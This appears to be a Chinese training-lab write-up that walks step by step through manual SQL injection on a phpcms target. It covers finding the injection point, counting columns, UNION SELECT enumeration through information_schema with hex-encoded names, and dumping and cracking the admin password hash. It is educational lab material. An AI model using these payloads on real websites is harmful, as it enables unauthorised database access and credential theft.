zoukankan      html  css  js  c++  java
  • 360网络安全大学实践笔记

    基于phpcms的SQL手工注入

    实验目的

    通过本实验理解SQL手工注入技术,掌握通过mysql数据库语法来进行手工sql注入的过程。

    【实验环境】

    测试渗透机:win2k8SvrTester
    
    用户名:college 密码:360College
    ## (选择平台右侧的college用户登录)
    
    目标服务器(靶机):phpcms网站
    
    用户名:360college 密码:360College
    ## (注意此处的登录用户名)
    
    目标网站:http://IP:8083
    

    实验步骤

    步骤一、目标网站开启

    (1)进入靶机,查看IP地址; 开始—运行,输入cmd回车,出现命令行窗口,输入:ipconfig 显示,靶机配置信息,记下以太网适配器下,IPv4地址(后面访问网页会用到)。 此处假设为192.168.0.18. (2)启动phpstudy(桌面图标):

    如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试。

    步骤二、渗透主机上探测目标网站有无sql注入点

    (1)打开云主机,输入密码360College。 利用攻击机,访问靶机。http://IP:8083(注意根据查看到的靶机IP地址,修改此处的IP,端口不变,以下截图中,均应将端口修改为8083),然后点击其中的一篇文章,如果地址栏出现http://***/show.php?id=XX,则表明目标网站,采用PHP语言开发。

    (2)试探目标网站 分别在地址末尾添加单撇号、and 1=1 和 and 1=2 进行注入点探测。

    img

    如果show.php?id=XX后加单撇号出错、给出数据库信息,则表明存在注入攻击点。

    img

    步骤三、判断字段长度

    利用 order by N,从数字 1 开始替代 N,直到返回错误页面,判断字段长度为错误页面的 N-1,也就是最后一个正常页面返回。实验中N=16,错误,所以字段长度为15

    如图输入http://***/show.php?id=XX order by 16报错:

    img

    如图输入http://***/show.php?id=XX order by 15正确:

    img

    步骤四、判断字段位置回显

    利用show.php?id=XX and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3 和 11 的位置可以回显信息。判断数据库信息:

    img

    回显结果

    img

    步骤五、判断数据库相关信息

    用 and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15 (用 具体sqlXXX 指令替换 sql_command)。

    (1)查看 mysql 版本

    img

    结果

    img

    (2)查看当前数据库名

    img

    结果

    img

    (3)查看当前用户

    img

    步骤六、判断所有数据库名

    利用 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看 mysql中所有数据库的名称。

    由下图结果可知业务数据库为 cms。其他数据库有mysql,test,phpmyadmin等

    img

    步骤七、判断具体某个数据库中的数据库表

    利用 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() ,查看 cms 数据库拥有的所有表。可以发现存放用户信息的表cms_users。

    img

    如下查看其它数据库中的数据表,则需要将。。。where table_schema=database()处的database() 替换为具体的数据库名,并且数据库名要16进制转化为0xAAABBBCCCC格式

    步骤八、判断数据表的所有列

    利用 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。

    table_name=cms_users表名需要编码为 16 进制table_name=0x636D735F7573657273形式,从ASCII对照表中可知对应:c(63) m(6d) s(73) _(5f) u(75) s(73) e(65) r(72) s(73)

    如图所示,得到 3 个列:userid,username 和 password

    img

    步骤九、判断管理员账号密码

    利用 and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users

    得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e(解密后123456)

    img

    步骤十、登录后台

    img

    实验结束

    思考与总结

    通过本次实验,成功实现了手工注入一个存在sql注入漏洞的网站的全部过程,掌握SQL注入的攻击方法以及防御措施。

  • 相关阅读:
    linux笔记
    restful课程凌杂知识点
    Django中间件执行流程
    restful知识点之二restframework视图
    restful知识点之一CBV
    可变长参数
    函数的重点内容
    文件的高级应用及修改的两种方式
    文件的三种打开方式及with管理文件上下文
    字符编码
  • 原文地址:https://www.cnblogs.com/ctccaozhe/p/13222410.html
Copyright © 2011-2022 走看看